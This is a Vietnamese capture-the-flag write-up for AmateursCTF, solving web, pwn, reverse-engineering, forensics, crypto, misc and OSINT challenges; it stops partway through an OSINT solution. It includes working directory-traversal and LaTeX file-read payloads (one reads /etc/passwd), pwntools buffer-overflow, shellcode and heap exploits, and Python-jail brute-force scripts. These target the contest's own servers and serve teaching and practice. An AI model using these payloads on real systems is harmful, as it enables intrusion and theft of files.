> Rank - 92/914 team: > **Siuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuu** ![](https://hackmd.io/_uploads/BkgD-HLqn.png) ## 1. WEB ### web/waiting-an-eternity Challenge này cho ta 1 web như sau: ![](https://hackmd.io/_uploads/Hk9nAN8qh.png) Ta có thể suy nghĩ theo hướng là dir ẩn hoặc là file ẩn nhưng sau khi mình lên burpsuite và đọc respone thì thấy có 1 url ẩn trong respone header: ![](https://hackmd.io/_uploads/BkPaAEUqn.png) Ta truy cập vào thử thì ra 1 như sau: ![](https://hackmd.io/_uploads/BynR0VI93.png) Vào cookie ta sẽ thấy nó set 1 cookie có tên là time và khi ta chỉnh cookie thì nội dung kia cũng đổi theo bằng qui luật nào đấy ![](https://hackmd.io/_uploads/HJnkJr8q3.png) Ta thử cho 1 số cực lớn rồi chuyển về số âm sau đấy refersh lại nhiều lần xem sao. ![](https://hackmd.io/_uploads/B1Ce1rI92.png) - thế là xong=))) #### `flag:amateursCTF{im_g0iNg_2_s13Ep_foR_a_looo0ooO0oOooooOng_t1M3}` ### web/funny factorials Challenge này cho ta 1 web tính giai thừa như sau cùng với 1 source code: ![](https://hackmd.io/_uploads/r1KX1HIqn.png) Ta có thể thấy có 2 theme được chọn là cool và warn khi ta chọn url sẽ như này: ![](https://hackmd.io/_uploads/SJrV1rI52.png) Nhìn vào url như kia ta có thế đoán được có thế dính directory traversal nhưng trong đoạn code đã lọc bằng 1 hàm đệ quy như sau: ![](https://hackmd.io/_uploads/Hk7ByBIch.png) Ý tưởng ở đây là làm sao cho rơi vào except,sau khi lên mạng tìm kiếm cũng như hỏi chat thì mình biết được đệ quy trong python có giới hạn tầm 100 lần từ đó ta có payload: Cứ cho quá 100 cho chắc và thêm 2 dấu // ở trước để bypass qua đoạn if dưới nhé `payload://../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../flag.txt` Nhập payload và lấy cờ thôi: ![](https://hackmd.io/_uploads/rJwLJHI53.png) #### `flag:amateursCTF{h1tt1ng_th3_r3curs10n_l1mt_1s_1mp0ssibl3}` ### web/latek Bài này cho ta 1 trang web như sau: ![](https://hackmd.io/_uploads/rkDi1rUqn.png) Nó cho phép chúng ta tạo 1 pdf online bằng latek và tải về ,sau khi lên gg tra về latex thì mình thấy có vài lỗ hổng: Chúng ta sẽ dùng thử payload`\input{/flag.txt}` để test xem có hoạt động không =)) ![](https://hackmd.io/_uploads/S1Eh1HIqn.png) Có vẻ là đã ra nhưng \input chỉ cho ta đọc 1 dòng không đọc hết được file vì thế mình lên gg tìm tiếp và thấy được payload sau: `\usepackage{verbatim} \verbatiminput{/etc/passwd}` Mình lắp vào thử thì hoạt động thế là đã được giải quyết: ![](https://hackmd.io/_uploads/r1QpkrUq2.png) #### `flag:amateursCTF{th3_l0w_budg3t_and_n0_1nstanc3ing_caus3d_us_t0_n0t_all0w_rc3_sadly}` ## 2. PWN ### pwn/rntk Đề cho ta 1 file binary ![](https://hackmd.io/_uploads/Sy3VC4Uc2.png) Ta thấy lỗi nằm trong hàm `random_guess()` do sài `gets()` ![](https://hackmd.io/_uploads/r10S04Lq3.png) Canary sẽ được tạo ra bằng `rand()` với `seed(time(0))` => leak được bằng cách timing May mắn bài này được first blood :v ```python= from pwn import * from ctypes import CDLL libc = CDLL("/lib/x86_64-linux-gnu/libc.so.6") exe = ELF("chal") p = remote("amt.rs",31175) #p = process(exe.path) libc.srand(libc.time(0)-1) cana = libc.rand() success("PREDICT RAND : " + hex(cana)) ''' gdb.attach(p, """ b* random_guess c """) input() ''' p.sendline(b'2') payload = b'\x00'*44+p64(cana)+b'a'*4+p64(exe.sym['win']) p.sendline(payload) p.interactive() ``` #### `flag:amateursCTF{r4nd0m_n0t_s0_r4nd0m_after_all}` ### pwn/permissions Đề cho ta 1 file binary ![](https://hackmd.io/_uploads/SJgsRN8cn.png) Bài này đơn giản là thực thi shellcode ta nhập vào với argument truyền vào là địa chỉ của flag. Ngoài ra cũng filter một số syscall khác ngoại trừ read, write, exit, exit_group Hướng giải đơn giản là gọi write với argument là địa chỉ flag cho sẵn. ```python= from pwn import * exe = ELF("chal") #p = process(exe.path) p =remote("amt.rs",31174) context.update(arch='amd64', os='linux') shellcode = shellcraft.write(1,'rdi',40) ''' gdb.attach(p, """ b*main+460 c """) input() ''' p.sendline(asm(shellcode)) p.interactive() ``` #### `flag:amateursCTF{exec_1mpl13s_r34d_8751fda0}` ### pwn/hex-converter Đề cho ta file binary và file source Mở file source thì thấy có khúc này ```clike= while (i < 16) { // the & 0xFF... is to do some typecasting and make sure only two characters are printed ^_^ hehe printf("%02X", (unsigned int)(name[i] & 0xFF)); i++; } ``` Nhưng khi ida thì lại không thấy. ![](https://hackmd.io/_uploads/H1bmyS8q3.png) Ta nhận thấy là có bof do `gets` có thể overwrite được `v7` tức index để in ra flag. Nhưng ở đây vòng lặp chỉ check `v7 <= 15` => `v7` là số âm được Công việc còn lại là ta mở gdb tìm offset để in ra flag ```python= from pwn import * exe = ELF("chal") p = remote("amt.rs",31630) #p = process(exe.path) ''' gdb.attach(p, """ b* main+177 c """) input() ''' payload = p32(0xffffffc0)*32 p.sendline(payload) p.interactive() ``` Do output là hex nên ta lên mạng kiếm tool chuyển hex sang ascii (hoặc tự viết) ![](https://hackmd.io/_uploads/rJ08JSU5h.png) ![](https://hackmd.io/_uploads/HycPJB8ch.png) #### `flag:amateursCTF{wait_this_wasnt_supposed_to_be_printed_76723}` ### pwn/hex-converter 2 Bài này cũng cho ta file source, binary ```clike= #include <stdio.h> #include <stdlib.h> int main() { setbuf(stdout, NULL); setbuf(stderr, NULL); int i = 0; char name[16]; printf("input text to convert to hex: \n"); gets(name); char flag[64]; fgets(flag, 64, fopen("flag.txt", "r")); // TODO: PRINT FLAG for cool people ... but maybe later while (1) { // the & 0xFF... is to do some typecasting and make sure only two characters are printed ^_^ hehe printf("%02X", (unsigned int)(name[i] & 0xFF)); // exit out of the loop if (i <= 0) { printf("\n"); return 0; } i--; } } ``` Bài này cũng y chang bài trước, ngoại trừ việc có check âm. Ở đây ta thấy logic sai ở chỗ in rồi check nên ta sẽ bruteforce bằng cách gửi overwrite index từ từ. ```python= from pwn import * exe = ELF("chal") def twos_complement(decimal_value, num_bytes): if decimal_value >= 0: twos_comp = decimal_value else: twos_comp = (1 << (num_bytes * 8)) + decimal_value hex_value = hex(twos_comp)[2:].upper().zfill(num_bytes * 2) return hex_value n = -1 leak = b"" while True: n += 1 input() p = remote("amt.rs",31631) #p = process(exe.path) value = int("0x"+twos_complement(-64+n,4),0) payload = p32(value)*32 p.recvline() p.sendline(payload) leak += p.recvn(2) print("leak = ",leak) p.close() ``` ![](https://hackmd.io/_uploads/B12ukr8ch.png) ![](https://hackmd.io/_uploads/ByQKJr89n.png) #### `flag:amateursCTF{an0ther_e4sier_0ne_t0_offset_unvariant_while_l00p}` ### pwn/simple-heap-v1 Bài này cho ta một file binary ![](https://hackmd.io/_uploads/BJF1gBUq2.png) Ta phân tích bài này như sau: - Đề tạo 2 chunk heap mình gọi là a,b và một chunk cho flag gọi là chunk c. - Đầu tiên code sẽ tạo chunk a với size và data tuỳ ý, rồi tạo chunk b -> tạo chunk c để check flag ->free chunk c -> cho phép ta overwrite 1 byte trên heap -> lấy lại chunk c -> free chunk c ->free chunk b -> **LẤY LẠI CHUNK B** (nếu cùng size cũ) -> lấy lại chunk c -> free chunk c Để dễ hiểu thì mình vẽ minh hoạ những gì ở trên heap ![](https://hackmd.io/_uploads/SJ_lxB892.png) Trong đó chunk 2 đứng trước chunk 3. Chunk 1 tạo rồi nằm yên đó trong suốt quá trình. Chỉ có chunk 2 và chunk 3 malloc rồi free liên tục ![](https://hackmd.io/_uploads/BJtflrI93.png) Ta coi hàm check thì thấy nó sẽ tạo chunk 3 rồi lưu flag trên đó, rồi check xem đúng với flag không. Nếu sai thì sẽ in ra cái string sai đó **rồi mới free chunk 3** Ta thấy rằng nếu ta overwrite size của chunk 2 rồi malloc ta có thể trigger ra lỗi heap overflow rồi lợi dụng nó in ra flag ở `printf` ```python= from pwn import * exe = ELF("chal") #p = process(exe.path) p = remote("amt.rs",31176) ''' gdb.attach(p, """ b*main+260 b*main+275 b*getchunk+106 b*check+203 c """) input() ''' def getchunk(size,data): p.sendlineafter(b'size: ',size) p.sendafter(b'data: ',data) getchunk(b'20',b'a'*20) getchunk(b'10',b'a'*10) p.sendlineafter(b'index: ',b'-8') p.sendlineafter(b'new character: ',b'\x31') getchunk(b'40',b'a'*40) p.interactive() ``` ![](https://hackmd.io/_uploads/rkBVlrU93.png) #### `flag:flag{wh0_kn3w_y0u_c0uld_unm4p_th3_libc}` ## 3. REV ### rev/trick question Đề cho ta 1 file .pyc Mình sài `pycdc` để chuyển qua .py thì được file khá dài sau ![](https://hackmd.io/_uploads/SJKDgSI5h.png) Mình in ra x sau khi chạy xong vòng lặp đó thì được một đoạn code được encrypt bằng base64 khá dài: ![](https://hackmd.io/_uploads/ry2hgSI5n.png) - Giải mã ra thì được file python được encode tiếp bằng marshal code object: ```python= check = lambda:None code = type(check.__code__)(1, 0, 0, 6, 5, 67, b'|\x00d\x00d\x01\x85\x02\x19\x00d\x02k\x03r\x0et\x00j\x01j\x02d\x03\x19\x00S\x00|\x00d\x04\x19\x00d\x05k\x03r\x1at\x00j\x01j\x02d\x03\x19\x00S\x00|\x00d\x01d\x04\x85\x02\x19\x00}\x00t\x00j\x01j\x02d\x06\x19\x00|\x00\x83\x01d\x07k\x03r0t\x00j\x01j\x02d\x03\x19\x00S\x00g\x00}\x01t\x00j\x01j\x02d\x08\x19\x00|\x00\x83\x01D\x00]\r\\\x02}\x02}\x03|\x03d\tk\x02rG|\x01\xa0\x03|\x02\xa1\x01\x01\x00q:|\x01g\x00d\n\xa2\x01k\x03rTt\x00j\x01j\x02d\x03\x19\x00S\x00|\x00\xa0\x04\xa1\x00\xa0\x05d\x0b\xa1\x01}\x00|\x00d\x0c\x19\x00d\x00d\x00d\x04\x85\x03\x19\x00d\rk\x03rlt\x00j\x01j\x02d\x03\x19\x00S\x00|\x00d\x0e\x19\x00d\x0c\x19\x00|\x00d\x0e\x19\x00d\x0e\x19\x00\x17\x00|\x00d\x0e\x19\x00d\x0f\x19\x00\x18\x00|\x00d\x0e\x19\x00d\x0e\x19\x00|\x00d\x0e\x19\x00d\x0f\x19\x00\x17\x00|\x00d\x0e\x19\x00d\x0c\x19\x00\x18\x00|\x00d\x0e\x19\x00d\x0f\x19\x00|\x00d\x0e\x19\x00d\x0c\x19\x00\x17\x00|\x00d\x0e\x19\x00d\x0e\x19\x00\x18\x00f\x03d\x10k\x03r\xa9t\x00j\x01j\x02d\x03\x19\x00S\x00t\x00j\x01j\x02d\x11\x19\x00d\x12\x83\x01\xa0\x06|\x00d\x0f\x19\x00\xa1\x01\xa0\x07\xa1\x00d\x13k\x03r\xc0t\x00j\x01j\x02d\x03\x19\x00S\x00t\x00j\x01j\x02d\x11\x19\x00d\x14\x83\x01}\x04|\x04\xa0\x08|\x00d\x0f\x19\x00\xa1\x01\x01\x00t\x00j\x01j\x02d\x15\x19\x00|\x00d\x16\x19\x00\x83\x01|\x00d\x16<\x00|\x04\xa0\t|\x00d\x16\x19\x00\xa1\x01\x01\x00|\x00d\x16\x19\x00g\x00d\x17\xa2\x01k\x03r\xf0t\x00j\x01j\x02d\x03\x19\x00S\x00|\x00d\x18\x19\x00d\x19\x17\x00d\x1ak\x03r\xfet\x00j\x01j\x02d\x03\x19\x00S\x00t\x00j\x01j\x02d\x1b\x19\x00\xa0\n|\x00d\x1c\x19\x00d\x0cd\x18\x85\x02\x19\x00d\x1d\xa1\x02|\x04\xa0\x0bd\x0cd\x1e\xa1\x02A\x00d\x1fk\x03\x90\x01r\x1dt\x00j\x01j\x02d\x03\x19\x00S\x00t\x00j\x01j\x02d\x1b\x19\x00\xa0\n|\x00d\x1c\x19\x00d\x18d \x85\x02\x19\x00d\x1d\xa1\x02|\x04\xa0\x0bd\x0cd\x1e\xa1\x02A\x00d!k\x03\x90\x01r<t\x00j\x01j\x02d\x03\x19\x00S\x00t\x00j\x01j\x02d\x1b\x19\x00\xa0\n|\x00d\x1c\x19\x00d d\x01\x85\x02\x19\x00d"\x17\x00d\x1d\xa1\x02|\x04\xa0\x0bd\x0cd\x1e\xa1\x02A\x00d#k\x03\x90\x01r]t\x00j\x01j\x02d\x03\x19\x00S\x00d\x0c}\x05|\x00d$\x19\x00D\x00]\x0b}\x02|\x05d%9\x00}\x05|\x05|\x027\x00}\x05\x90\x01qct\x00j\x01j\x02d&\x19\x00|\x05\x83\x01d\'k\x03\x90\x01r\x80t\x00j\x01j\x02d\x03\x19\x00S\x00t\x00j\x01j\x02d(\x19\x00S\x00', (None, 12, 'amateursCTF{', 'False', -1, '}', 'len', 42, 'enumerate', '_', (7, 11, 13, 20, 23, 35), b'_', 0, b'sn0h7YP', 1, 2, (160, 68, 34), '__import__', 'hashlib', '4b227777d4dd1fc61c6f884f48641d02b4d121d3fd328cb08b5531fcacdabf8a', 'random', 'list', 3, (49, 89, 102, 109, 108, 52), 4, b'freebie', b'0ffreebie', 'int', 5, 'little', 4294967295, 4227810561, 8, 825199122, b'\x00', 4277086886, 6, 128, 'hex', '0x29ee69af2f3', 'True', 'Did you know? pycdc can decompile marshaled code objects. Just make sure you mention the right version!'), ('id', '__self__', '__dict__', 'append', 'encode', 'split', 'sha256', 'hexdigest', 'seed', 'shuffle', 'from_bytes', 'randint'), ('input', 'underscores', 'i', 'x', 'r', 'c'), '', 'check', 3, b'\x10\x01\x0c\x01\x0c\x01\x0c\x01\x0c\x01\x14\x02\x0c\x01\x04\x02\x18\x01\x08\x01\n\x01\x02\x80\x0c\x01\x0c\x01\x0e\x02\x16\x01\x0c\x01n\x03\x0c\x01"\x02\x0c\x01\x10\x02\x0e\x01\x18\x01\x0e\x01\x10\x02\x0c\x01\x10\x02\x0c\x012\x02\x0c\x012\x02\x0c\x016\x02\x0c\x01\x04\x02\x0c\x01\x08\x01\x0c\x01\x16\x02\x0c\x01\x0c\x02', (), ()) check = type(check)(code, {'id': id}) if check(input("Enter the flag: ")): print("Correct!") else: print("Incorrect.") ``` Mình sửa lại code để dump `code` vào file pyc khác. ```python= import marshal import uncompyle6 import types import dis check = lambda:None code = type(check.__code__)(1, 0, 0, 6, 5, 67, b'|\x00d\x00d\x01\x85\x02\x19\x00d\x02k\x03r\x0et\x00j\x01j\x02d\x03\x19\x00S\x00|\x00d\x04\x19\x00d\x05k\x03r\x1at\x00j\x01j\x02d\x03\x19\x00S\x00|\x00d\x01d\x04\x85\x02\x19\x00}\x00t\x00j\x01j\x02d\x06\x19\x00|\x00\x83\x01d\x07k\x03r0t\x00j\x01j\x02d\x03\x19\x00S\x00g\x00}\x01t\x00j\x01j\x02d\x08\x19\x00|\x00\x83\x01D\x00]\r\\\x02}\x02}\x03|\x03d\tk\x02rG|\x01\xa0\x03|\x02\xa1\x01\x01\x00q:|\x01g\x00d\n\xa2\x01k\x03rTt\x00j\x01j\x02d\x03\x19\x00S\x00|\x00\xa0\x04\xa1\x00\xa0\x05d\x0b\xa1\x01}\x00|\x00d\x0c\x19\x00d\x00d\x00d\x04\x85\x03\x19\x00d\rk\x03rlt\x00j\x01j\x02d\x03\x19\x00S\x00|\x00d\x0e\x19\x00d\x0c\x19\x00|\x00d\x0e\x19\x00d\x0e\x19\x00\x17\x00|\x00d\x0e\x19\x00d\x0f\x19\x00\x18\x00|\x00d\x0e\x19\x00d\x0e\x19\x00|\x00d\x0e\x19\x00d\x0f\x19\x00\x17\x00|\x00d\x0e\x19\x00d\x0c\x19\x00\x18\x00|\x00d\x0e\x19\x00d\x0f\x19\x00|\x00d\x0e\x19\x00d\x0c\x19\x00\x17\x00|\x00d\x0e\x19\x00d\x0e\x19\x00\x18\x00f\x03d\x10k\x03r\xa9t\x00j\x01j\x02d\x03\x19\x00S\x00t\x00j\x01j\x02d\x11\x19\x00d\x12\x83\x01\xa0\x06|\x00d\x0f\x19\x00\xa1\x01\xa0\x07\xa1\x00d\x13k\x03r\xc0t\x00j\x01j\x02d\x03\x19\x00S\x00t\x00j\x01j\x02d\x11\x19\x00d\x14\x83\x01}\x04|\x04\xa0\x08|\x00d\x0f\x19\x00\xa1\x01\x01\x00t\x00j\x01j\x02d\x15\x19\x00|\x00d\x16\x19\x00\x83\x01|\x00d\x16<\x00|\x04\xa0\t|\x00d\x16\x19\x00\xa1\x01\x01\x00|\x00d\x16\x19\x00g\x00d\x17\xa2\x01k\x03r\xf0t\x00j\x01j\x02d\x03\x19\x00S\x00|\x00d\x18\x19\x00d\x19\x17\x00d\x1ak\x03r\xfet\x00j\x01j\x02d\x03\x19\x00S\x00t\x00j\x01j\x02d\x1b\x19\x00\xa0\n|\x00d\x1c\x19\x00d\x0cd\x18\x85\x02\x19\x00d\x1d\xa1\x02|\x04\xa0\x0bd\x0cd\x1e\xa1\x02A\x00d\x1fk\x03\x90\x01r\x1dt\x00j\x01j\x02d\x03\x19\x00S\x00t\x00j\x01j\x02d\x1b\x19\x00\xa0\n|\x00d\x1c\x19\x00d\x18d \x85\x02\x19\x00d\x1d\xa1\x02|\x04\xa0\x0bd\x0cd\x1e\xa1\x02A\x00d!k\x03\x90\x01r<t\x00j\x01j\x02d\x03\x19\x00S\x00t\x00j\x01j\x02d\x1b\x19\x00\xa0\n|\x00d\x1c\x19\x00d d\x01\x85\x02\x19\x00d"\x17\x00d\x1d\xa1\x02|\x04\xa0\x0bd\x0cd\x1e\xa1\x02A\x00d#k\x03\x90\x01r]t\x00j\x01j\x02d\x03\x19\x00S\x00d\x0c}\x05|\x00d$\x19\x00D\x00]\x0b}\x02|\x05d%9\x00}\x05|\x05|\x027\x00}\x05\x90\x01qct\x00j\x01j\x02d&\x19\x00|\x05\x83\x01d\'k\x03\x90\x01r\x80t\x00j\x01j\x02d\x03\x19\x00S\x00t\x00j\x01j\x02d(\x19\x00S\x00', (None, 12, 'amateursCTF{', 'False', -1, '}', 'len', 42, 'enumerate', '_', (7, 11, 13, 20, 23, 35), b'_', 0, b'sn0h7YP', 1, 2, (160, 68, 34), '__import__', 'hashlib', '4b227777d4dd1fc61c6f884f48641d02b4d121d3fd328cb08b5531fcacdabf8a', 'random', 'list', 3, (49, 89, 102, 109, 108, 52), 4, b'freebie', b'0ffreebie', 'int', 5, 'little', 4294967295, 4227810561, 8, 825199122, b'\x00', 4277086886, 6, 128, 'hex', '0x29ee69af2f3', 'True', 'Did you know? pycdc can decompile marshaled code objects. Just make sure you mention the right version!'), ('id', '__self__', '__dict__', 'append', 'encode', 'split', 'sha256', 'hexdigest', 'seed', 'shuffle', 'from_bytes', 'randint'), ('input', 'underscores', 'i', 'x', 'r', 'c'), '', 'check', 3, b'\x10\x01\x0c\x01\x0c\x01\x0c\x01\x0c\x01\x14\x02\x0c\x01\x04\x02\x18\x01\x08\x01\n\x01\x02\x80\x0c\x01\x0c\x01\x0e\x02\x16\x01\x0c\x01n\x03\x0c\x01"\x02\x0c\x01\x10\x02\x0e\x01\x18\x01\x0e\x01\x10\x02\x0c\x01\x10\x02\x0c\x012\x02\x0c\x012\x02\x0c\x016\x02\x0c\x01\x04\x02\x0c\x01\x08\x01\x0c\x01\x16\x02\x0c\x01\x0c\x02', (), ()) check = type(check)(code, {'id': id}) with open('cc.pyc', 'wb') as f: marshal.dump(code,f) ``` Cuối cùng đề hint là python 3.10 nên mình tiếp tục chuyển file đó qua .py bằng `pycdc` bằng lệnh `pycdc -r -v 3.10 file_can_lam.pyc` Ta được file như sau: ```python= if input[:12] != 'amateursCTF{': return id.__self__.__dict__['False'] if None[-1] != '}': return id.__self__.__dict__['False'] input = None[12:-1] if id.__self__.__dict__['len'](input) != 42: return id.__self__.__dict__['False'] underscores = None for i, x in id.__self__.__dict__['enumerate'](input): if x == '_': underscores.append(i) if underscores != [ 7, 11, 13, 20, 23, 35]: return id.__self__.__dict__['False'] input = None.encode().split(b'_') if input[0][::-1] != b'sn0h7YP': return id.__self__.__dict__['False'] if (None[1][0] + input[1][1] - input[1][2], input[1][1] + input[1][2] - input[1][0], input[1][2] + input[1][0] - input[1][1]) != (160, 68, 34): return id.__self__.__dict__['False'] if None.__self__.__dict__['__import__']('hashlib').sha256(input[2]).hexdigest() != '4b227777d4dd1fc61c6f884f48641d02b4d121d3fd328cb08b5531fcacdabf8a': return id.__self__.__dict__['False'] r = None.__self__.__dict__['__import__']('random') r.seed(input[2]) input[3] = id.__self__.__dict__['list'](input[3]) r.shuffle(input[3]) if input[3] != [ 49, 89, 102, 109, 108, 52]: return id.__self__.__dict__['False'] if None[4] + b'freebie' != b'0ffreebie': return id.__self__.__dict__['False'] if None.__self__.__dict__['int'].from_bytes(input[5][0:4], 'little') ^ r.randint(0, 0xFFFFFFFFL) != 0xFBFF4501L: return id.__self__.__dict__['False'] if None.__self__.__dict__['int'].from_bytes(input[5][4:8], 'little') ^ r.randint(0, 0xFFFFFFFFL) != 825199122: return id.__self__.__dict__['False'] if None.__self__.__dict__['int'].from_bytes(input[5][8:12] + b'\x00', 'little') ^ r.randint(0, 0xFFFFFFFFL) != 0xFEEF2AA6L: return id.__self__.__dict__['False'] c = None for i in input[6]: c *= 128 c += i if id.__self__.__dict__['hex'](c) != '0x29ee69af2f3': return id.__self__.__dict__['False'] return None.__self__.__dict__['True'] ``` Khúc cuối mình giải tay. Lưu ý là: - `shuffle` trong python sẽ luôn tạo ra output như nhau với cùng một seed và len(list) như nhau. - Ngoài ra `randint` cũng luôn như nhau với một seed cho trước #### `flag:amateursCTF{PY7h0ns_ar3_4_f4m1lY_0f_N0Nv3nom0us_Sn4kes}` ## 4. FOR ### forensics/Painfully Deep Flag Bài này các bạn kiếm tool nào online giải nén file pdf ra là được nhé mình sẽ dùng trang web sau: `https://products.aspose.app/pdf/parser` Sau khi tải về các bạn giải nén ra sẽ thấy 1 thư mục chứa image và sẽ thấy flag: ![](https://hackmd.io/_uploads/rk1NgrUqh.png) #### `flag:amateursCTF{0ut_0f_b0unds}` ## 5. CRYPTO ### crypto/Compact XORs Sau khi tải về bạn sẽ thấy số liệu cần mã hóa ![](https://hackmd.io/_uploads/rkVJxHIq2.png) Đổi về kiểu byte, ta làm phép thử: - Lấy byte thứ 2 xor với m, ra được kết quả là 97(Tức ký tự a) - Lấy byte thứ 4 xor với t, ra được kết quả là 97 - Lấy byte thứ 6 xor với u, ra được kết quả là 101(Tức là ký tự e) =)) Ta rút ra được quy luật : ký tự thứ lẻ sẽ xor với ký tự chẵn, m xor a sẽ ra flag[1], t xor với a thì ra flag[3], u xor với e thì ra flag[5] Code ra python: ``` python= data= "610c6115651072014317463d73127613732c73036102653a6217742b701c61086e1a651d742b69075f2f6c0d69075f2c690e681c5f673604650364023944" flag= bytes.fromhex(data) xt=flag[5]^ord('u') print(xt) from pwn import xor print(xor(b'amateursCTF',flag[:11])) f ='' for i in range(len(flag)): if i % 2!=0: f += chr(flag[i]^flag[i-1]) else: f += chr(flag[i]) print(f) ``` Chạy code và lấy flag #### `flag:amateursCTF{saves_space_but_plaintext_in_plain_sight_862efdf9}` ### crypto/You get extra information Đề cho ta một file số liệu ![](https://hackmd.io/_uploads/Sy6glB85h.png) Và file python như sau: ```python= from Crypto.Util.number import * from flag import flag p = getPrime(512) q = getPrime(512) n = p*q p = p + q e = 0x10001 extra_information = p + q ptxt = bytes_to_long(flag) c = pow(ptxt, e, n) with open('output.txt', 'w') as f: f.write(f"n: {n}\nc: {c}\ne: {e}\nextra_information: {extra_information}") ``` Bài này ta sẽ giải ngược lại để tìm flag: - flag được tính theo ptxt bằng cách long_to_bytes(ptxt) Mục đích của bài này là tìm ra được giá trị của p,q để tìm ra khóa bí mật d, và sẽ tìm ra được ptxt p và q được tính theo n và extra như sau - n=p*q và extra=p+q+q Giải hệ phương trình đó sẽ ra được giá trị của p và q Code ra python: ``` python= from Crypto.Util.number import * n = 83790217241770949930785127822292134633736157973099853931383028198485119939022553589863171712515159590920355561620948287649289302675837892832944404211978967792836179441682795846147312001618564075776280810972021418434978269714364099297666710830717154344277019791039237445921454207967552782769647647208575607201 e = 65537 c = 55170985485931992412061493588380213138061989158987480264288581679930785576529127257790549531229734149688212171710561151529495719876972293968746590202214939126736042529012383384602168155329599794302309463019364103314820346709676184132071708770466649702573831970710420398772142142828226424536566463017178086577 extra_information = 26565552874478429895594150715835574472819014534271940714512961970223616824812349678207505829777946867252164956116701692701674023296773659395833735044077013 p = 10307593182692464771859444251060107096737374203269378602523841560237645162159897774629661654952776237523790091862810352641745767095280638930754828620479591 q = 8128979845892982561867353232387733688040820165501281055994560204992985831326225951788922087412585314864187432126945670029964128100746510232539453211798711 phi_n = (p-1)*(q-1) d = inverse(e, phi_n) ptxt = pow(c, d, n) print(ptxt) flag_bytes = long_to_bytes(ptxt) print(flag_bytes) ``` Chạy code và lấy flag #### `flag:amateursCTF{harder_than_3_operations?!?!!}` ## 6. MISC ### misc/Censorship - Bài này cho ta file python như sau: ```python= #!/usr/local/bin/python from flag import flag for _ in [flag]: while True: try: code = ascii(input("Give code: ")) if "flag" in code or "e" in code or "t" in code or "\\" in code: raise ValueError("invalid input") exec(eval(code)) except Exception as err: print(err) ``` Ở đây mình thấy rằng đề có in ra lỗi, sau một hồi fuzz thì thầy như sau: ```bash Give code: ord(_) ord() expected a character, but string of length 45 found ``` Vậy `_[44]` là tối đa. Nó cho mình ý tường là bruteforce từng ký tự của `_`. Ở đây ta thấy nếu ta gán `i = ord(_[0])` rồi sau đó check `_[i]` có in ra lỗi hay không. - Nếu không in ra lỗi => `_[i] <= 44` => tiếp tục thử `_[i+n]` đến khi ra lỗi. - Nếu in ra lỗi => `_[i] > 44` => thử `_[i-n]` đến khi không in ra lỗi. - Tóm gón dễ hiễu lại là ta sẽ tìm n **đầu tiên** làm `_[i+n]` ra lỗi Ở đây mình sài chặt nhị phân để tìm n. ~~Vì sợ server gửi request liên tục chặn ip nên không sài cách thường.~~ Bài này chỉ xảy ra ở trường hợp thứ 2 nên mình chỉ code khúc đó. ```python= from pwn import * res = '' index = -1 while True : p = remote("amt.rs", 31670) index += 1 check = f'i = ord(_[{index}])' p.sendlineafter(b'Give code: ',check) payload = f'_[i]' p.sendlineafter(b'Give code: ',payload) state = p.recvline() if (state == b'string index out of range\n'): start = 0 end = 100 while (end - start > 1): mid = (end+start) // 2 print(start, " ",end) payload = f'_[i-{mid}]' p.sendlineafter(b': ', payload) state = p.recvline(timeout=1) if len(state)> 20 : start = mid else: end = mid p.sendlineafter(b': ',payload) if len(p.recvline(timeout=1)) > 20: mid +=1 print(mid) res += chr(44+mid) success(res) p.close() p.interactive() ``` #### `flag:amateursCTF{i_l0v3_overwr1t1nG_functions..:D}` ### misc/Censorship Lite - Đề cho ta một file python ```python= #!/usr/local/bin/python from flag import flag for _ in [flag]: while True: try: code = ascii(input("Give code: ")) if any([i in code for i in "\lite0123456789"]): raise ValueError("invalid input") exec(eval(code)) except Exception as err: print(err) ``` Bài này filter nhiều hơn bài trước nhưng vẫn dùng cách trước được. Ở đây ta bypass số bằng cách sài như `ord('b') - ord('a')` ```python= from pwn import * s = "" for i in range(58,58+200): s += chr(i) def proc1(i): if (i == 43): return 'ord("f") - ord(";")' elif (i == 34): return 'ord("]") - ord(";")' elif (i == 50): return 'ord("m") - ord(";")' elif (i == 47): return 'ord("j") - ord(";")' else: return f'ord("{s[i]}") - ord(":")' def give_index(i): print(i) if (i <= 50): return proc1(i) else: return "( " + proc1(50) + ") + (" + proc1(i-50) + ") " res = '' index = -1 while True : p = remote("amt.rs", 31671) index += 1 check = "a = ord(_[" + give_index(index) + "])" p.sendlineafter(b'Give code: ',check) payload = "_[a]" p.sendlineafter(b'Give code: ',payload) state = p.recvline(timeout=1) if len(state) >20: start = 0 end = 100 while (end - start > 1): mid = (end+start) // 2 print(start, " ",end) payload = '_[a -(' + give_index(mid) + ")]" p.sendlineafter(b': ', payload) state = p.recvline(timeout=1) if len(state)> 20 : start = mid else: end = mid p.sendlineafter(b': ',payload) if len(p.recvline(timeout=1)) > 20: mid +=1 print(mid) res += chr(55 + mid) success(res) p.close() else: start = 0 end = 70 while (end - start > 1): mid = (end+start) // 2 print(start, " ",end) payload = '_[a+(' + give_index(mid) + ")]" p.sendlineafter(b': ', payload) state = p.recvline(timeout=1) if len(state)> 20 : end = mid else: start = mid p.sendlineafter(b': ',payload) if len(p.recvline(timeout=1)) < 20: mid +=1 print(mid) res += chr(56 - mid) success(res) p.close() p.interactive() ``` #### `flag:amateursCTF{sh0uld'v3_r3strict3D_p4r3nTh3ticaLs_1nst3aD}` ## 7. OSINT ### osint/Gitint 5e Bài này ta sẽ vào link github sau: `https://github.com/les-amateurs/more-CTFd-mods` Sau đó các bạn vào phần commit kéo xuống cuối xem các commit cũ ta sẽ thấy flag ![](https://hackmd.io/_uploads/HJ5yeB89n.png) #### `flag:amateursCTF{y0u-fOunD_m3bu7:d1D U r34L!y?}` ### osint/Gitint 7e Đầu tiên ta vào link này: `https://github.com/les-amateurs/more-CTFd-mods/issues/1` Ta sẽ ra được link pastebin cần pass: `https://pastebin.com/VeTDwT09` Tiếp theo vào link này: `https://github.com/les-amateurs/more-CTFd-mods/pull/2` Đọc phần chỉnh sửa: 